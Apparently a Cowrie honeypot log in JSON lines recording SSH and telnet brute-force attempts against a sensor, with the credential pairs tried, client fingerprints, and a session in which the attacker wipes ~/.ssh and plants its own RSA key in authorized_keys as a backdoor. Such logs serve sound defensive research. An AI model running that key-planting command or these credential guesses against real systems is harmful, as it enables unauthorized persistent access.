{"eventid":"cowrie.login.failed","username":"postgres","password":"admin12345","message":"login attempt [postgres/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:53:46.994412Z","src_ip":"43.165.177.199","session":"ef43f9bac0d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:53:48.188702Z","src_ip":"43.165.177.199","session":"ef43f9bac0d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":56178,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9c16c49f822","protocol":"ssh","message":"New connection: 43.165.177.199:56178 (10.17.0.5:22) [session: a9c16c49f822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:55:45.599683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:55:45.604043Z","src_ip":"43.165.177.199","session":"a9c16c49f822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:55:45.777510Z","src_ip":"43.165.177.199","session":"a9c16c49f822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"1q2w3e4r","message":"login attempt [mcserver/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:55:46.500385Z","src_ip":"43.165.177.199","session":"a9c16c49f822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:55:47.676129Z","src_ip":"43.165.177.199","session":"a9c16c49f822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":34606,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb7bbdbf7d75","protocol":"ssh","message":"New connection: 43.165.177.199:34606 (10.17.0.5:22) [session: fb7bbdbf7d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:48.985950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:48.990255Z","src_ip":"43.165.177.199","session":"fb7bbdbf7d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:49.165097Z","src_ip":"43.165.177.199","session":"fb7bbdbf7d75","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle2021","message":"login attempt [oracle/oracle2021] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:49.900934Z","src_ip":"43.165.177.199","session":"fb7bbdbf7d75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:50.291010Z","src_ip":"43.165.177.199","session":"fb7bbdbf7d75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:50.294473Z","src_ip":"43.165.177.199","session":"fb7bbdbf7d75","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:50.298084Z","src_ip":"43.165.177.199","session":"fb7bbdbf7d75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:50.477404Z","src_ip":"43.165.177.199","session":"fb7bbdbf7d75","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:50.881310Z","src_ip":"43.165.177.199","session":"fb7bbdbf7d75","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:50.885009Z","src_ip":"43.165.177.199","session":"fb7bbdbf7d75","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:51.067438Z","src_ip":"43.165.177.199","session":"fb7bbdbf7d75","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:51.071126Z","src_ip":"43.165.177.199","session":"fb7bbdbf7d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":34616,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad33fa3ffdad","protocol":"ssh","message":"New connection: 43.165.177.199:34616 (10.17.0.5:22) [session: ad33fa3ffdad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:51.261047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:51.265793Z","src_ip":"43.165.177.199","session":"ad33fa3ffdad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:51.452311Z","src_ip":"43.165.177.199","session":"ad33fa3ffdad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:52.229107Z","src_ip":"43.165.177.199","session":"ad33fa3ffdad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:53.418204Z","src_ip":"43.165.177.199","session":"ad33fa3ffdad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":34628,"dst_ip":"10.17.0.5","dst_port":22,"session":"359155f04234","protocol":"ssh","message":"New connection: 43.165.177.199:34628 (10.17.0.5:22) [session: 359155f04234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:53.577099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:53.581973Z","src_ip":"43.165.177.199","session":"359155f04234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:53.758764Z","src_ip":"43.165.177.199","session":"359155f04234","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:54.484442Z","src_ip":"43.165.177.199","session":"359155f04234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:54.659719Z","src_ip":"43.165.177.199","session":"fb7bbdbf7d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:57:54.664542Z","src_ip":"43.165.177.199","session":"359155f04234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.59.56.143","src_port":12779,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c2569bb2398","protocol":"telnet","message":"New connection: 154.59.56.143:12779 (10.17.0.5:23) [session: 1c2569bb2398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:58:09.721171Z"}
{"eventid":"cowrie.session.closed","duration":12.05093502998352,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:58:21.771996Z","src_ip":"154.59.56.143","session":"1c2569bb2398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":49106,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eb053ea6f20","protocol":"ssh","message":"New connection: 43.165.177.199:49106 (10.17.0.5:22) [session: 4eb053ea6f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:59:46.792760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:59:46.797725Z","src_ip":"43.165.177.199","session":"4eb053ea6f20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:59:46.971904Z","src_ip":"43.165.177.199","session":"4eb053ea6f20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX!QAZ","message":"login attempt [ubuntu/1qaz@WSX!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:59:47.696629Z","src_ip":"43.165.177.199","session":"4eb053ea6f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:59:48.872587Z","src_ip":"43.165.177.199","session":"4eb053ea6f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.223.128.46","src_port":43632,"dst_ip":"159.203.135.109","dst_port":23,"session":"68b6945117e8","protocol":"telnet","message":"New connection: 154.223.128.46:43632 (159.203.135.109:23) [session: 68b6945117e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:00:46.282864Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":43142,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1fb328d9c4a","protocol":"ssh","message":"New connection: 43.165.177.199:43142 (10.17.0.5:22) [session: a1fb328d9c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:01:38.008297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:01:38.013918Z","src_ip":"43.165.177.199","session":"a1fb328d9c4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:01:38.188815Z","src_ip":"43.165.177.199","session":"a1fb328d9c4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pass","message":"login attempt [guest/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:01:38.915292Z","src_ip":"43.165.177.199","session":"a1fb328d9c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:01:40.092134Z","src_ip":"43.165.177.199","session":"a1fb328d9c4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":39068,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d71074a3487","protocol":"ssh","message":"New connection: 78.128.112.74:39068 (159.203.135.109:22) [session: 8d71074a3487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:28.357911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:02:29.320073Z","src_ip":"78.128.112.74","session":"8d71074a3487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS"